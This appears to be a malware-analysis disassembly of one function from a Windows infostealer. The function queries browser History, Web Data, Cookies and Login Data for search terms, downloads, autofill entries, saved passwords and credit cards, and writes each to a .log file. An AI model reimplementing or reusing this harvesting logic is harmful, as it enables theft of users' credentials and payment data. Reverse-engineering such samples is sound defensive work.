Function at 0x40195a
Capabilities:
Copy file
Create directory
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb14
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
mov dword [ebp - 0xb14], edi
cmp edi, ebx
je 0x401f9a
mov esi, 0x2ff
push esi
lea eax, [ebp - 0x307]
push ebx
push eax
mov dword [ebp - 0xb10], ebx
mov byte [ebp - 0x308], bl
call fcn.0055bfc0
add esp, 0xc
push 0x1ff
lea eax, [ebp - 0xb07]
push ebx
push eax
mov byte [ebp - 0xb08], bl
call fcn.0055bfc0
add esp, 0xc
push esi
lea eax, [ebp - 0x607]
push ebx
push eax
mov byte [ebp - 0x608], bl
call fcn.0055bfc0
add esp, 0xc
push esi
lea eax, [ebp - 0x907]
push ebx
push eax
mov byte [ebp - 0x908], bl
call fcn.0055bfc0
add esp, 0xc
lea eax, [ebp - 0x908]
push eax
lea eax, [ebp - 0x608]
push eax
mov eax, edi
call fcn.00401fa9
pop ecx
pop ecx
push ebx
lea eax, [ebp - 0x608]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, edi
call fcn.004016f4
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x908]
push eax
lea eax, [ebp - 0x608]
push eax
lea eax, [ebp - 0x308]
push str._s_sKeywords.log
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
add esp, 0x10
push ebx
push 0x80
push 1
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x308]
push eax
call edi
mov dword [ebp - 0xb0c], eax
cmp eax, 0xffffffff
je 0x401abe
push 1
push str.History
push dword [ebp - 0xb14]
call fcn.00401fee
pop ecx
pop ecx
push dword [ebp - 0xb0c]
mov ecx, str.SELECT_normalized_term_FROM_keyword_search_terms_
mov edx, eax
call fcn.0040201f
pop ecx
pop ecx
push dword [ebp - 0xb0c]
test eax, eax
je 0x401aab
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xb10], 1
jmp 0x401abe
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x308]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x300
lea eax, [ebp - 0x308]
push ebx
push eax
call fcn.0055bfc0
add esp, 0xc
lea eax, [ebp - 0x908]
push eax
lea eax, [ebp - 0x608]
push eax
lea eax, [ebp - 0x308]
push str._s_sDownloads.log
push eax
call esi
add esp, 0x10
push ebx
push 0x80
push 1
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x308]
push eax
call edi
mov dword [ebp - 0xb0c], eax
cmp eax, 0xffffffff
je 0x401ba0
push 2
push str.History
push dword [ebp - 0xb14]
call fcn.00401fee
pop ecx
pop ecx
push dword [ebp - 0xb0c]
mov ecx, str.SELECT_target_path__referrer_FROM_downloads_
mov edx, eax
call fcn.0040201f
pop ecx
pop ecx
test eax, eax
je 0x401b4d
push dword [ebp - 0xb0c]
jmp 0x401b7f
push 2
push str.History
push dword [ebp - 0xb14]
call fcn.00401fee
pop ecx
pop ecx
push dword [ebp - 0xb0c]
mov ecx, str.SELECT_target_path_FROM_downloads__SELECT_url_FROM_downloads_url_chains_
mov edx, eax
call fcn.0040201f
pop ecx
pop ecx
push dword [ebp - 0xb0c]
test eax, eax
je 0x401b8d
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp - 0xb10]
jmp 0x401ba0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x308]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x300
lea eax, [ebp - 0x308]
push ebx
push eax
call fcn.0055bfc0
add esp, 0xc
lea eax, [ebp - 0x908]
push eax
lea eax, [ebp - 0x608]
push eax
lea eax, [ebp - 0x308]
push str._s_sAutofill.log
push eax
call esi
add esp, 0x10
push ebx
push 0x80
push 1
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x308]
push eax
call edi
mov dword [ebp - 0xb0c], eax
cmp eax, 0xffffffff
je 0x401c50
push 2
push str.Web_Data
push dword [ebp - 0xb14]
call fcn.00401fee
pop ecx
pop ecx
push dword [ebp - 0xb0c]
mov ecx, str.SELECT_name__value_FROM_autofill_
mov edx, eax
call fcn.0040201f
add dword [0x5e9a4c], eax
pop ecx
pop ecx
push dword [ebp - 0xb0c]
cmp eax, ebx
je 0x401c3d
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp - 0xb10]
jmp 0x401c50
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x308]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x300
lea eax, [ebp - 0x308]
push ebx
push eax
call fcn.0055bfc0
add esp, 0xc
lea eax, [ebp - 0x908]
push eax
lea eax, [ebp - 0x608]
push eax
lea eax, [ebp - 0x308]
push str._s_sCookies.log
push eax
call esi
add esp, 0x10
push ebx
push 0x80
push 1
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x308]
push eax
call edi
mov dword [ebp - 0xb0c], eax
cmp eax, 0xffffffff
je 0x401d26
push str.Cookies
push dword [ebp - 0xb14]
call fcn.00401fee
mov edi, dword [ebp - 0xb0c]
push eax
call fcn.00402776
add esp, 0xc
push edi
test eax, eax
je 0x401d0d
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x908]
push eax
lea eax, [ebp - 0x608]
push eax
lea eax, [ebp - 0xb08]
push str._s_sCookies.txt
push eax
call esi
add esp, 0x10
push ebx
lea eax, [ebp - 0xb08]
push eax
lea eax, [ebp - 0x308]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
inc dword [ebp - 0xb10]
jmp 0x401d20
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x308]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0x300
lea eax, [ebp - 0x308]
push ebx
push eax
call fcn.0055bfc0
add esp, 0xc
push str.Yandex
push dword [ebp - 0xb14]
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x401f6c
lea eax, [ebp - 0x908]
push eax
lea eax, [ebp - 0x608]
push eax
lea eax, [ebp - 0x308]
push str._s_sPasswords.log
push eax
call esi
add esp, 0x10
push ebx
push 0x80
push 1
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x308]
push eax
call edi
mov dword [ebp - 0xb0c], eax
cmp eax, 0xffffffff
je 0x401e15
push 0x5d3a3c
push dword [ebp - 0xb14]
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x401dca
push str.EncryptedStorage
push dword [ebp - 0xb14]
call fcn.00401fee
push dword [ebp - 0xb0c]
mov ecx, eax
call fcn.004028b3
jmp 0x401de7
push str.Login_Data
push dword [ebp - 0xb14]
call fcn.00401fee
push dword [ebp - 0xb0c]
mov ecx, eax
call fcn.00402c2b
add esp, 0xc
push dword [ebp - 0xb0c]
test eax, eax
je 0x401e02
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp - 0xb10]
jmp 0x401e15
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x308]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x200
lea eax, [ebp - 0x308]
push ebx
push eax
call fcn.0055bfc0
add esp, 0xc
lea eax, [ebp - 0x908]
push eax
lea eax, [ebp - 0x608]
push eax
lea eax, [ebp - 0x308]
push str._s_sCreditcards.log
push eax
call esi
add esp, 0x10
push ebx
push 0x80
push 1
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x308]
push eax
call edi
mov dword [ebp - 0xb0c], eax
cmp eax, 0xffffffff
je 0x401ebd
push str.SELECT__FROM_credit_cards_
push str.Web_Data
push dword [ebp - 0xb14]
call fcn.00401fee
pop ecx
pop ecx
push dword [ebp - 0xb0c]
mov ecx, eax
call fcn.00402fbb
pop ecx
pop ecx
push dword [ebp - 0xb0c]
test eax, eax
je 0x401eaa
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp - 0xb10]
jmp 0x401ebd
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x308]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x200
lea eax, [ebp - 0x308]
push ebx
push eax
call fcn.0055bfc0
add esp, 0xc
lea eax, [ebp - 0x908]
push eax
lea eax, [ebp - 0x608]
push eax
lea eax, [ebp - 0x308]
push str._s_sCreditcardsMasked.log
push eax
call esi
add esp, 0x10
push ebx
push 0x80
push 1
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x308]
push eax
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401f57
push str.SELECT__FROM_masked_credit_cards_
push str.Web_Data
push dword [ebp - 0xb14]
call fcn.00401fee
pop ecx
pop ecx
push esi
mov ecx, eax
call fcn.00402fbb
pop ecx
pop ecx
push esi
test eax, eax
je 0x401f44
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp - 0xb10]
jmp 0x401f57
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x308]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x300
lea eax, [ebp - 0x308]
push ebx
push eax
call fcn.0055bfc0
add esp, 0xc
mov esi, dword [ebp - 0xb10]
cmp esi, ebx
jne 0x401f94
lea eax, [ebp - 0x608]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryEmptyA]
test eax, eax
je 0x401f94
lea eax, [ebp - 0x608]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
add dword [0x5e9a54], esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055a67a
leave
ret